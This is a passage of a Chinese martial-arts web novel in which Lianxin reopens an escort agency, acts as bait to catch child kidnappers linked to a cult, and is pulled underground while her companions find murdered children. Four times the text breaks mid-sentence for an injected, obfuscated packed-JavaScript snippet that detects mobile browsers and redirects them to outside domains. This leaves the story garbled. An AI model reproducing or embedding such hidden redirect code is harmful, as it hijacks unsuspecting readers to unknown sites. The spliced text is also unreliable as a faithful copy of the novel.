却没成想还真让她问对了人，那老伯顺了顺胡须，有些迟疑地抬手指了指转角。 “好像是在那边的最后一家，不过前两日我路过那里，看见牌匾好像都拆下去了，也不知道还有没有人在了。” 其实这一路上莲心也是边打听边走，却也都没有几人清楚具体位置，听到老伯这样说赶忙连连道谢。 “多谢老伯，那我就先告辞了”，走出两步又挥了挥手中吃了一半的糖葫芦，“您这个是我吃过最实在的糖葫芦！” 按照老伯所说，穿过这条长长窄窄的小巷，在转角处右拐，再一直向前走到路的尽头，便是曾经许记镖局的所在。 然而莲心刚走到转角旁的那棵粗壮的常青树下时，眼角余光却突然瞥到了一抹细长的黑影，影子不远不近，就落在自己投影的斜对面。 很显然，能在这个位置，大概率就是跟踪的了。 除此以外，更让她心中警铃大作的，是当自己偷偷往后瞟时，隐隐能看见在手的位置有一截闪闪发亮的物件。 眼瞧着两个影子的距离越来越近，莲心深吸一口气，也不想知道那是尖刀还是匕首，在经过路口时，用尽浑身力气向后一踹。 电光火石之间，一记标准的侧踢腿，就这么直直向身后之人心口而去，凭借她的经验，这样的力道刚刚好会让那人退后半米，并且不出意外的话，她还可以顺势抢过那把尖刀。 “刷——”，然而预想中的撞击并没有发生，恰相反，对方好似早有察觉一般，不仅躲过了她的侧踢，还顺势握着她的手臂向后一扭，将她反手按在了墙旁。 深冬冷峭的寒气透过砖墙，从脸颊接触的那一小处肌肤开始，无孔不入地向全身蔓延，尤其是被反扣住的手腕，依稀能感觉到粗糙的触感。 然而比起这些，更让莲心担心的，是背部的那处冰凉，虽然没法看个清楚，但她知道，应当是柄尖锐的匕首。 “兄台还请手下留情，我想这其中是不是有什么误会？” 顾不上那么多，眼下的情况当然还是保命最要紧，几乎未加思索，莲心也没有立刻准备反击，既然对方并未着急下手，说不定还没到鱼死网破的境地。 更何况，如此情况她处于下风，从小练就的格斗经验告诉她——把握时机是制胜的重要法宝。 事实证明，她想得果然没错。 待她说完话，明显感觉身后如铁钳般攥住她手腕的大手有所松动，下一秒，贴在墙壁上的脸颊被人大力扭转。 刚要松一口气的她心中立刻警钟大作，万万没料到对方会来这一出，脚尖碾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351509|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过干燥的沙土地，正准备突然发力将沙土扬起，然后自己再趁机脱身。 却没料到那人再看清她面容的那一刻，突然猛地松开了她已经被捏得僵麻的手腕，紧接着就将她一把搂进怀里，“哎呦”一声哀嚎起来。 “哎呦我的老天爷啊，盼星星盼月亮终于把你给盼来了！刚才看你背影鬼鬼祟祟的，可把我给吓坏了，还以为是……” 不仅他满是惊诧，莲心此刻也是瞠目结舌，万万没有想到会在此时此刻重逢。 只见其简单披了个灰麻的袍子，斑白的乱发只松松用布条拢在头顶，许是这段时日又添了不少风霜，原本就消瘦的两颊更加凹陷，整个人 仿佛老了十岁，沧桑而又疲惫。 “周伯！你……不是回乡了吗，怎么又会突然出现在这？” 上次通信还是两个月前，那时候周伯在信上说自己已经在祖坟里安置好了儿子的遗体，并重新招揽了几名年轻镖师，准备在淮州重新一展昔日风采。 而就是这样的一个人，突然有这样毫无预兆地出现在了自己面前，莲心一时间竟觉得有几分恍惚。 很显然，周伯这边已经早有准备，不似突然见面，而是等候已久的重逢。 听见不远处经过的细碎脚步声，他迅速使了个眼神，莲心也是心领神会，两人轻手轻脚地打开那间关了很久的木门，进了曾经的许记镖局。 “不瞒你说，我来这边是因为除夕夜收到的一封密信”，进了屋周伯也松弛了几分，小心翼翼地从怀里掏出封皱皱巴巴的信，低声道，“你看看就全都知道了。” 信不长，但因着字体歪歪扭扭读起来有些吃力，但好在关键词还算清晰，大概意思也简单明了，通篇都表明这是一封警告信。 先说听闻周伯大名十分欣赏，中间又提出万望节哀莫要再卷入是非纷争，冤冤相报何时了，可在最后却又写到有通倭内奸在京城玄武街任捕快，莲心不日将要闻讯前来。 不知怎么，通读下来，莲心竟隐隐觉得有几分怪异和不适。 而周伯好似看出她心思一般，苦笑一声道，“古怪的很是吧？你别急，我还碰见桩更古怪的！” 更古怪的，莫非…… 思及此，莲心开口询问，声音因为焦急而分外尖锐，明明是询问却带着点斩钉截铁的味道。“您前些日子可是碰见了和我容貌相似的女子？” 见她这样问，对面的周伯顿时怔了一瞬，随即用力吸了一口气，凝望着莲心那双紧锁的瞳孔，慢慢点了点头。 “是，而且就在昨天，我差点死于她的手中。” 于是，在这昏暗的废弃镖局里，周伯一边吃着那根剩下的糖葫芦，一边讲起了不久前的遭遇。 “昨天傍晚时分我就在雪莲池边打转，突然间看到个身穿红纱的少女从我身旁经过，当时也怪我自己心急，暗沉沉的以为侧脸跟你有五六分相似就跟上去了。” “还好我还留个枚银针保了一命，嘿嘿，到底也不算一无所获。” “我记下她右手手腕处，那只红蜘蛛的具体样子了！” 33. 蝶隐 “见过蝶隐少主，教主已在主殿等候多时。” 两侧一众面覆半块玄铁面具的侍从中，迎面而来的粉衫少女头戴大红色的兜帽，虽然被素白的面纱遮住了大半面容，但光凭露在外面的那双眼，便足矣窥见其下的一副好容色。 对于噬野教的人来说，比起若隐若现的姣美容貌，这位蝶隐少主更让人不容忽视的，是自内而外的那种清冷之气。 “嗯，知道了。” 哪怕是全阁中唯一一个没有身着黑衣，而是常年桃粉色绿裙，这位堪当左膀右臂的少主也全然没有半分属于这个年纪的烂漫。 恰相反，就是平日里漫不经心的一笑，都有着点瘆人的感觉，就更别提执行任务时，血色浸染下的眉眼，更是宛若盛开的罂粟。 美丽妖艳，同时也有着能与之媲美的肃杀与致命。 看着即将隐在门内的曼妙身形，侍从们无不想起一直以来的传言，后背传来阵阵凉意。 据说这位少主当年为了留在阁中，曾独自下海与鲨鱼展开殊死搏斗，大战一直持续了三天三月，硬是凭着一把新月弯刀，在连阁主都以为无法生还的第四天早上，用木船载着鲨鱼的尸体浑身浴血地出现在了大门口。 后来也凭着这股冲劲，硬是一步步走到了少主这个位置，饶是如此，每次刺杀任务中都仍会出现在最前方，有她在，几乎从来没有失手。 为什么说几乎呢？ 因为，就在前两日，雪莲池旁有个脏兮兮的老头，竟然能从少主的刀下留下一条命，不仅如此，最后还让他给跑了。 照理说那人的出现实属意料之外，少主能够及时发现已算立功一件，只是没想到那老头看着瘦瘦脏脏的，一手暗器使得极好，被连刺三刀还能挣扎着反击。 只是，在这个向来以结果论的地界上，饶是少主备受器重，怕是……也难逃惩处了。 “滴答滴答”的声音却来却清晰，蝶隐少主的天青祥云靴所踏之处，从脚底传来阵阵黏滑之感，除此以外，空气中的腥甜之气越来越浓。 也许旁人会心生疑惑，可对于她这种在刀尖嗜血的人来说，这感觉却再熟悉不过。 是血，遍地遍地的鲜血，还带着人体的余温，汩汩流淌出鲜红的血河。 “蝶隐见过教主，还请教主责罚！” 屋内四角各燃着柱近一人高的烛台，然而因着屋室太大，光线仍是昏昏暗暗，叫人看不真切。 但蝶隐在此近五年，早已熟悉黑暗，也练就了一番在不见五指中仍能探囊取物的本领，此刻她微微眯起凤眼，视线最终停在了屋室的正中央。 黑铁打造的巨型蜘蛛台上，正横躺着一个二八芳龄的少女，鲜红的血液顺着被隔断的手腕脚腕汩汩而出，正是满屋血液的来源。 少女秀眉紧锁，许是因为失血过多早已没了意识，素白的手腕上被割出大大小小五六道刀痕，仿佛傀儡戏中的殷红细线，零零散散地顺着蜘蛛那庞大的身躯向四周蔓延。 一条条鲜红的血液同细长的步□□织在一起，盘旋勾结，宛若织成的一张笼住四面八方的血色巨网。 而她也是被罩住的一员，也许连独坐高座之上的阁主，都未必是这里唯一的至高主宰。 “哦？”就在此时，将整个人完全隐在暗处的阁主轻笑一声，沧桑低哑的声音响起。 “本座还没有说话，阿隐就知道自己何错之有了？” 对于这位喜怒无常的教主，蝶隐也是知之甚少，莫说真实身份，就连容貌年岁也都一概不知，唯一知晓的，是他对大曜有着深深的恨意。 面对这一问询，蝶隐低了低头，答道，“蝶隐办事不力，让周伯逃之夭夭，特来请教主责罚。” 没想到这一次，预想中的鞭刑久久没有落下，而受到突然攻击的，竟然是自己的面门。 “教主——”，突如其来的一记飞刀，直直擦着右颊而过，轻微的刺痛传来之际，鼻尖的呼吸也突然为之一畅。 覆在面前的雪白轻纱被刀尖勾起，在转瞬间被深深钉入身后厚重的木门之上，明明刺中的不是自己，可台下的蝶隐却仿佛被扎入胸膛一样，心脏不自觉地用力缩起。 与此同时，教主那嘶哑如鬼魅的声音再度响起，含着几分嘲讽与警戒。 “这次就先不计较，抓紧按照计划行事，若还是来这么一出别怪我新账旧账一起算！还有，人啊贵在有自知之明，这坏事做了一次就一定有第二次，可不要摇摆不定，最后两面都得罪了……” 白纱之下，赫然是一张与莲心有着六分相似的面容，只不过眉间并不见那明媚的英气，取而代之的只有一片沉郁。 片刻后，莲见用纤白的指尖不轻不重地按了下右颊的血痕，直到那种再熟悉不过的痛感逐渐麻木涣散开来。 她才轻声回道，“是，谨遵教主圣命。” …… “许记镖局重新开张，还望各位多多照顾。本店童叟无欺，价格公道合理，绝对认真可靠，值得信赖！” 说来也是天意弄人，莲心的叔父也就是许记镖局的总镖头，在半个月前因旧病复发过世了。因着孤身一人，剩下的几名镖师也凑钱帮忙将 他下了葬，五日前也将店关了门各自离开了。 世道动荡，人人忙着为生计奔走，想要做生意的少了不少，也真因如此，这家店也就这么搁置了下来。 而现在，莲心正好将店里简单收拾了一番，重新挂好牌匾重新开张。 路边有人经过，见她接下了这店，不免有些吃惊，“哎——小兄弟，这年头干点啥不好还开镖局，饭都快吃不起了谁还有心思走镖啊？” “少大惊小怪了，人家又不指望咱们，达官显贵出价就行呗”，旁边有人指着牌匾啧了啧嘴，“你瞧这几笔字，哪是一般人能写出来的？” 听他这么一说，周围正打算来看热闹的人也都跟着叹了口气，是啊，别看着小公子瘦弱清秀，但衣着谈吐显然不是走镖的粗俗汉子可以比的。 管他开镖局还是饭馆呢，反正哪种都买不起，也就是看看热闹罢了。 眼见着人群渐渐散去，莲心赶忙上前两步，将刚写好的价格表贴在了门上，并招呼大家去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358015|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “各位父老乡亲还请留步，小店要服务的并非达官显贵，走的镖也不是珍贵名品，而是一家的平安！” 这时，才有人认真看了新的牌匾，不免有心惊诧，“安心镖局？” 方才只当是重刻旧匾，没想到竟起了这样一个名字，不仅如此，直到莲心将上面的价格表简单介绍完后，人群中更是震惊不已。 “你这镖局还做保护人的生意，随身保护一天才五文钱？” 也不怪他们对此如此感兴趣，现如今最让人头疼不是吃不饱穿不暖，而是街上是不是就会经过一路匪徒，不仅抢粮食还会掳走小孩少女，因着行踪不定连官府都几次无功而返。 被掳走的均无一生还，但老是不让他们出门终究不是长久之计，也正是如此，莲心的这条服务显得格外有用。 听他们这样问，莲心笑着点了点头，“是的，只是眼下人手不足，可能没有办法同一时间保护多个人，若是可以的话能将需要保护的聚集一起是最好的。” 这时候外围的一个白头发老者拄着拐杖，一晃一晃地走上前来，竟突然一下颤颤巍巍地哭诉起来。 “这位小哥，我出一百钱，还请你帮我找回我那苦命的孙女啊！” 说完他就哽咽地说不出话来，旁边的人神情之中也满是怜悯，向莲心解释道。 “这老汉是我们这条街的老医者了，这么多年都跟小孙女相依为命。没成想就在半夜月前，他小孙女在院门口帮忙晒药，就那么光天化日之下消失了！” 见他只说了一半，另一个妇人也上前继续补充。 “说起来真是太邪门了，我们几个当时就在院门口聊天，听见里面碗碎的声音，刚趴在墙上往里看就什么都没有了。别说人影，就是鬼影都不见半点儿……” “得得得”，她身旁的黑脸大汉摆了摆手，不屑道，“什么鬼啊神啊的，这世上要真有那些东西，那还用不上这么遭罪了！” “连点打斗痕迹都没有，活生生一个人就那么在眼皮子底下被带走了，不是鬼做的，还能是钻地下跑的？” 莲心正在凝神聆听，突然灵光一闪。 或许，还真有可能凭空消失，就如同在淮州老家那群突然从土中出现的杀手一样，若真如此，想必与那群倭人脱不了关系。 “这位大叔您莫要着急，既如此这桩差事我就接下了。若遍寻不到这费用我自不要，若找到了也不用一百钱，就当是新开店做个见证了。” 听莲心这样说，那位老汉更是热泪盈眶，上千哆哆嗦嗦握住莲心的手，不住地说着感谢的话。 又打听了一番，并没再获得什么别的线索，莲心也下了主意，准备跟这位老伯道院子里看看现场。 就在她即将转身的时候，身后不知何时晃过一抹桃粉色的身影，尽管只是一瞬间，但她却倏地呼吸一滞，总觉得有种莫名的熟悉感。 身旁的老汉还在絮絮叨叨说着感谢，莲心忙着安抚也就没有注意到，腰间不知何时换了一个香囊。 上面绣着的，正是夏日池畔，两朵并蒂双生的芙蕖。 34. 入局 “最近几天怎么都回来得这样晚，可是镖局遇到什么困难了？” 莲心回来的时候，外面已经微微泛黑，陆时礼正斜靠在桌前借着烛火看书，听见开门声，一边上前帮她将披风挂好，一边有些担忧地询问。 “还是帮老伯找孙女的事儿，现在确定这事应该肯定跟那个噬野教有关，但就是找不到人，这两天又有两个小孩失踪了。” 说到这，莲心深吸了一口气，“实在不行，也就只能引蛇出洞了。” “还是太过冒险了”，陆时礼沉吟着摇了摇头，“让我再想想看有没有别的法子。” 话虽是这样说，但这几日也翻来覆去想过了，敌在暗我在明，除了以身为饵，再没有什么好的办法了。 更何况…… “时间不等人，对方显然是越来越猖狂了，几乎一天就要掳走一个”，莲心用力呼出一口气，指尖捏紧衣摆，“无论如何，还是得试一试。” 饶是她没有明说，但陆时礼已经很了解她，无论是表情还是语气，都显示心意已决，几乎不能更改。 “我身边有几位身手好的暗探，要不……从他们中选一身型纤细的扮作女装？都是战场上练就的个中高手，想来胜算要更大上一些。” 抛开不想让莲心身处险境的本意以外，陆时礼这话也有几分道理在，那几名暗探都是陆将军特意派来的，曾经都和倭人真刀真枪交过手，对于他们的路数较为了解。 当然他的两种用意莲心也清楚，不过略加斟酌后，她还是最终摇了摇头，说出了自己的考量。 “既然想要打草惊蛇，还是要面临一些风险尽量一击得中。否则既暴露了咱们的目的，又一无所获，到底是得不偿失的。” 况且让别人为了她的事冒风险，而她自己却在后面坐享其成，莲心私以为没有这样的道理，她也不愿意这样去做。 静默片刻后，四目相对中两人皆明了了彼此的心意。 陆时礼看出了莲心一往直前的坚定，而莲心也读出了陆时礼眼中的让步与妥协。 “好，都听你的”，下一瞬陆时礼不由自主的勾起了唇，柔声道，“前提是我们要好好谋划，并且你得以安全为主，一定要平平安安地回来。” 一听这话，莲心秀眉一扬，献宝一样从袖中取出了一卷卷轴，把桌上剩余的吃食移到一角，随即把卷轴在烛火下摊开在两人眼前。 “你看，这是我这两天探出的绑匪活动路线图”，她用细白的手指点了点中间用朱砂圈起的位置，“他们主要活动的区域就在这里。” “朱雀街……” 待陆时礼看清那处的地名，不禁轻声惊呼出来，旁边的莲心也抿了抿唇，道。 “不错，负责这一处治安的捕快中，应该就有一位噬野教内部的成员。” 最近一段时日，京城中上上下下无不对这个组织议论纷纷，有人说是惩奸除恶的正义组织，又也有人骂其卖国求荣毫无尊严可言。 但饶是褒贬不一，朝廷也因兵力不足一直没有展开对它的征讨，相当于变相地任由其慢慢发展壮大。 可若真跟贩卖掳走人口有关，那性质便截然不同。不仅蛊惑人心还残害同胞，必然会引起世人的口诛笔伐，朝廷也绝不能再借口左支右绌而坐视不理。 “既如此，我们更要提高警惕”，陆时礼点了点头，也提起毛笔在空白的宣纸上写起了思路，“冒了风险，那这次咱们就争取活捉这个内奸，从他口中得到更多线索。” 当然，如果能够顺利地联合朝廷势力，一举将其捣毁自然是最好。 可两人都心照不宣地没有说，不知为何，他们隐隐觉得，这件事绝没有那么简单。 平静的池塘微微泛起了风浪，可谁也不知，泥潭下是否隐藏了更深的触角，跃跃欲试地想要引诱人陷得更深。 翌日子时，朱雀街的大门口。 高耸入云的汉白玉盘龙长柱，在黑漆漆的夜幕中宛若两个高大的鬼影，深深地凝视着从大门踏步而入的人。 大曜没有宵禁，但这个时间点街道仍是空旷一片，瞧不见半点行人。 别说是行人了，就连野猫野狗也都刻意避开这一块，不知道是经过的都消失在了这里，还是它们敏锐的嗅觉闻到了常人未能发现的危险。 为了尽量不引人注意，陆时礼和派来的两名暗探就埋伏在巷子中央附近的空房内，静静注意着外面的一举一动。 而作为诱饵的莲心，依照计划从大门而入，依循消失少女所走的路线，提着篮子往巷子的中央去。 如果不出意外的话，那伙人会在她经过中间的药材铺子时，从土中翻腾而出，以迅雷不及掩耳之势将她掳走，消失在漫漫夜色之中。 一切看似都进展得很顺利，在走了四分之一的路程后，空中突然传来“呱呱”两声。 黑影一闪，莲心循声抬头，只见屋顶上空不知何时落了只体型较大的乌鸦，拍了两下翅膀，又转头一溜烟地隐没在了漆黑之中。 一步，两步，三步……一连又走出了整整二十四步，周遭仍是安安静静。 只有莲心踏过脚下青砖的轻响，偶尔还有一声衣料摩擦的声音，除此以外，在没有半点异常。 眼瞅着已经走出了快三十步，早已经经过了那位老伯所开的药材铺子，距离少女被掳走的地方越来越远，可四周还是没有要有人破土而出的任何迹象。 屋里屋外的人先是捏了把汗，可随着离巷子尽头越来越近，悬着的心渐渐开始放下，莲心手心的汗也随着凉风的吹拂慢慢风干。 或许是他们错估了对方的预判，连着五日的掳人行动恰巧就在今日停止了？ 随着时间的流逝，眼睛也逐渐适应起无边的黑暗，就在她以为今天要落了个空的时候，眼角余光却突然瞟见不远处，巷子尽头的栏杆那里有一抹黑影迅速闪过。 袖口的短剑已经出鞘，眼见将要脱手而出直直刺向那道黑影，霎时间眼前风沙弥漫，饶是莲心早有准备但仍慢了一瞬。 就在一怔的功夫，右臂微微一偏，手下的短剑就失了几分准头，一片朦胧间，莲心依稀看见，那道亮光刺中了对方抬起的左手。 “唰——”的一声后，未来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378479|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维持平衡的身体似是被谁大力推了一下，浓烟滚滚中，莲心只觉得右边手腕处一阵生疼，应该是被谁狠狠攥住了。 若非亲身经历，她绝不会相信有朝一日，自己竟然会突然一下沉入青砖之下，听闻过遁地术无孔不入，但没成想竟然已经到了这种飞沙走石的地步。 没入土中的感觉与沉在水底相比，都有着极为相似的窒息感，眼前一片黑暗，耳边只能听到阵阵“嗡嗡”声，好似坠入了柔软的棉花中，只有强烈的失重感。 意识越来越昏沉，鼻间喉中的腥甜越来越浓，未知的恐惧宛若铺天盖地的巨网，迎面罩了过来，越缠越紧，让莲心更加喘不过气来。 心脏“扑通扑通”的剧烈跳动，浑身如同散了架的木偶再提不起半点力气，昏昏沉沉间，莲心的眼前又被遍地的血色覆盖。 血泊中父母的面容在眼前闪过，紧接着是小莲生拿着糖人在朝她笑，最后定格在眼前的，是陆时礼捧着书含笑望来的目光。 手腕似乎下一刻就会被握得粉碎，震痛感穿过手臂不断蔓延，心口处因剧痛而更加阵痛，说来也怪，痛苦果真是保持清醒的良方。 方才已经涣散开来的意识逐渐收拢，丝丝缕缕的生气也重新更改了方向，争先恐后地往身体里钻。 “啪”的一声，身体终于不再下坠，而是跌入了柔软的蓬草之上。 与此同时，久违的清新空气扑面而来，尽管仍带着潮湿的腐败气味，莲心仍是张开嘴，贪婪地大口大口呼吸着空气。 因着长期练武的底子，未消片刻莲心就完全恢复了意识，松软的四肢也逐渐找回了力道，虽达不到一下子站起走路的程度，但莲心还是挣扎着忍痛慢慢坐起了身。 “都能坐起来了，看来应该是没有大事了。” 耳畔忽然传来一道清亮的男声，语气中隐隐夹杂着几分笑意，莲心循声回头，有些警惕地往旁边移了移。 “方才是你差点把我右手攥废了吗？” 这里似乎是间马棚，周围时不时传来几声马儿的嘶鸣，凭借着从破败草棚上洒落的月光，莲心勉强看清了对面人的样貌。 尽管被泥土沾染，可衣着显然不凡，而他本人也带丝毫狼狈，反而挑着眉笑看她，一张俊脸上笑得有几分不羁。 “你和他们是一伙的？” 当下的莲心保持着怀疑一切的态度，一边问一边悄悄摸上腰间的暗器，但凡对面有所举动便用出周伯传授的拿手绝招。 没想到那人似乎早就猜到她留了这么一手，看着她因脱臼不能抬起的右手玩味一笑。 “不管是不是，你现在都只能寄希望于我不是，除非你的左手也练得跟右手一样的准头。我说得没错吧，苏小姐？” 于莲心而言最为痛苦的是，还没出招就被人看透了路数；而最最痛苦的是，就像眼前一样，明明被说中了但还毫无反击之力。 确实，对现在的她来说，只能寄希望于外因。 似是对她的反应很是满意，那人又勾了勾唇，向前慢慢踱来。 “恭喜你，因为我与他们，也有血海深仇。” 35. 双生 常言道，敌人的敌人就是朋友。 半真半假的话，配上他半真半假的笑，莲心很难说得上有几分相信，但当前的处境也不由得她不信。 看着越来越近的阴影，莲心深吸一口气，抬起头对上那双似笑非笑的眼眸，声音中带着方才在泥土中濒临窒息的嘶哑。 “你究竟是什么人，还有，是怎么对我如此了解的？” 与她不动声色对峙的不是别人，正是不久前刚在客栈碰面的齐绍宁，上次阴差阳错擦肩而过，这一次虽然终于能正面相逢，可场景仍算不得好。 而且，眼前的少女一张素白面容上遍布泥灰，唯有盈盈目光如曜石般明亮，比起记忆深处那只要想起就让他胸口发疼的脸孔，相似却又有着明显的不同。 就比如，那人的眼中总是带着料峭的凉意，宛若不可预测的深潭，而眼前少女的眼神如同初生牛犊，充满着炽热的烈度。 没来由的，他忽然觉得自己这次冒险救人，有些值得起来。 “倘若我说我曾经接触过其中的间谍，你会相信吗？” 虽然全然不知他的身份底细，但能够在遁地之法中始终保持清醒，并且在对方手中把她带走，显然不会与那边毫无关系。 比起是其中一员而言，接触过卧底的这个经历，变得更复杂了几分。 “现在这种情况，我还是相信会好一点吧。”诚然，莲心不得不承认，既然对方始终不表露目的，自己也跟着装糊涂来拖延时间比较好。 见她突然如此识时务，齐绍宁微不可察地挑了挑眉，瞥了她红肿的手腕一眼，随后步子一转，往马厩深处走去。 越往里光线越差，莲心只能依稀看见他弓着身子在翻找些什么，由于大半视线都被他的后背遮盖，索性也不再看，而是专心活动筋骨，想要尽快恢复力气。 可奇怪的是，这几日莲心总觉得身上有些软绵绵的，平时还不打紧，这一到关键时候，就更难提起全部气力。 不仅手上飞镖失了准头，连现在休息一会儿想要站起身子，都变得无比费劲。 “哎——行了，我明白告诉你，我可不是什么坏人，你现在可别折腾了！” 察觉到她这边的动静，齐绍宁捧着用草席卷着的一滩黑乎乎的东西走了过来，饶是还有一段距离，莲心都被熏得够呛。 “咳咳……”，莲心一边侧过头去咳嗽，一边用还算完好的左手掩住口鼻，盯着那团黑乎乎的东西问，“本来就够臭了，你还弄这些马粪做什么？” 齐绍宁娴熟地用草叶卷起一坨马粪，抬头便见莲心涕泗横流的模样，不禁哑然失笑。 “你手腕的骨头都快裂出来了，不包上点只怕想要接上都难了。” 说罢也没等莲心同意，一把就握住了她的右臂，将那团草叶覆盖在了肿起老高的手腕之上，修长的手指宛若翻飞的蝴蝶，很快将其包裹妥当，最后还不忘打上个利落的死结。 与冰凉的感觉一同袭来的，还有马粪那独特的臭味，莲心有些嫌弃地看了看被包成粽子的右手腕，无奈地撇了撇嘴。 虽然她也很想保住自己的右手，但是……现在这样也不知道得用多少皂荚才能去掉这股马臭味了！ 可眼下实在不是考虑这些的好时机，因为她很快又发现了个重要的问题，这个人很显然没有离开的意思，看架势兴许也不会轻易放她走。 莲心抿了抿嘴，还是问了出来，“那个……从这里回到朱雀街，大概有多少里呢？” 她问这话时，齐绍宁正寻了块还算干净的草堆坐下，随即抬头看了眼满天繁星，“也没多远，大概就是出了这里一直往南走十里吧。” 十里，那还好。 莲心刚要松一口气，就听见对面传来轻飘飘的一句。 “哦对了，看你如今中了软骨散，想必走出十公里是很难的了。” 我知道是实话，但能不能不要一直说大实话啊，知不知道这是很扎心的啊…… 对了，莲心很快捕捉到一个关键信息点，她中了软骨散，这是什么时候的事？ “呃……我确实这几日精神不济，不过你怎么那么肯定我中的是软骨散呢？” 齐绍宁上上下下打量了她一眼，见她满脸认真不似在开玩笑，便抬起手指了指她的腰间，轻笑道。 “喏，不就是那个香囊嘛，行走江湖怎么能不对这些常见香料熟悉呢？” 香囊？ 循着他的视线，莲心借着月光看向挂在腰间的香囊，而上面绣着的早已不是她娘亲手缝制的“双蝶纳喜”，取而代之的是两朵并蒂绽放的芙蕖。 将香囊打开放在鼻尖，里面只有些蓬松的乳白色香粉，初时只觉清淡无味，但细细嗅来才能闻到其中的淡淡苦香。 “你知道就行，吸入太多就越难恢复”，齐绍宁在旁边轻声提醒，“反正今夜他们肯定会到处追踪你的行迹，就现在这歇息一晚，等明日一早力气恢复了再走也不迟。” 莲心这边握着右手手腕抬头望着满天繁星发呆的时候，十里之外的朱雀街上也久久未能平静。 浓烟滚滚的白烟早已消散尽净，无论几人怎样提灯去看，青石砖仍旧都是完好无损，没有半块裂开，更不见任何地遁的痕迹。 就好像不久之前的飞沙走石，只是一场夜半时分的幻觉，来无影去无踪，若不是凭空消失的莲心，倒真好似一场虚幻的梦境。 “公子，还是没有找到……” 两名功夫精良的暗探摇了摇头，声音中尽是无奈与焦灼，从前也不是没有见过，但都能找到潜伏好的地道。 可这次，挖地三尺却什么都没有找到。 陆时礼也清楚，这里的土质更为松软，许是更利于他们隐藏行踪，可凡有行动必留痕迹，他始终觉得，肯定还有什么线索没有找到。 就在这时，指尖突然碰到一个硬物，陆时礼伸手去够，是那只通体纯白的簪子。 这簪子极为眼熟，就是之前他送给莲心的那个。 周身的血液重新活跃起来，他深吸了一口气，挖土的动作更加迅速，很快，在拨开一小堆零零散散的土屑后，一条弯曲的地道出现在了眼前。 “少爷，还是让我们去吧，不知道那边是何情况，你去总归是太过危险了！” 然而还没等他话说完，陆时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384763|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼已经踏了下去，只见黄烟一闪，整个人就消失在了地道之中。 身后两名暗探也握紧了手中长刀，一前一后地跟了上去，也一同坠入到了地面之下。 也怪不得众人一开始没能发现，这地道七拐八拐又挖得极深，横冲直撞间的冲力差点将肩膀撞裂。 不知过了多久，极速划过的视野终于安定下来，鼻尖也萦绕开来那久违的新鲜空气。 借着朦胧的月光，陆时礼依稀看出，这里似乎是个废弃的仓库。 因着落在装满草料的布袋之上，几人也没有受伤，都各自站起身借着细微的光线的四处打量起来。 陆时礼先是开了看木门，应当是在外面落了锁，从里面无法推开，他大概试了试力道，倘若他们三人一起撞，差不多是可以将锁撞开的。 却听不远处传来一声惊呼，他知道这两人都是训练有素的暗探，心理素质比起一般人要强上许多，能这样失态想必是遇到意想不到的情况了。 于是他赶忙借着光线摸索着走了过去，问道，“怎么了？” 两人没有立刻回应，而是都齐齐伸手指向刚揭开一角的布袋，只见那鼓鼓囊囊的袋口处，赫然是一截孩童细小的脚腕。 “造孽啊……”其中一人深深叹了口气。 陆时礼手臂微颤，上前两步将布袋整个掀开，那孩童约莫只有六七岁，脖颈处被生生割断，暗黑色的血已经完全凝固，稚气未脱的一张脸上唯有眼睛大大瞪着，看着让人十分揪心。 刚把孩童合上双眼，就停身后又是一声惊呼，“天呐，这袋子里装的全是……” 一具，两具……十具，这哪里是什么仓库，简直就是这些无辜孩童的坟墓。 三人且翻且叹，随着尸体越来越多，屋内的血腥气也越发浓重，沉甸甸的，压得他们几乎喘不过气。 终于，待找到最后一个放在角落里的布袋时，看见布袋里面轻轻地动了一下。 其中一个名唤小七的暗探语气难掩兴奋，“快打开看看，里面的人好像还活着！” 都顾不上解开那繁杂的绳索，陆时礼直接抽出了小七腰间的刀，将束着袋口的绳子直接砍断。 在将灰扑扑的布袋缓缓掀开的瞬间，屋内响起两人齐齐的惊呼。 “少夫人——” 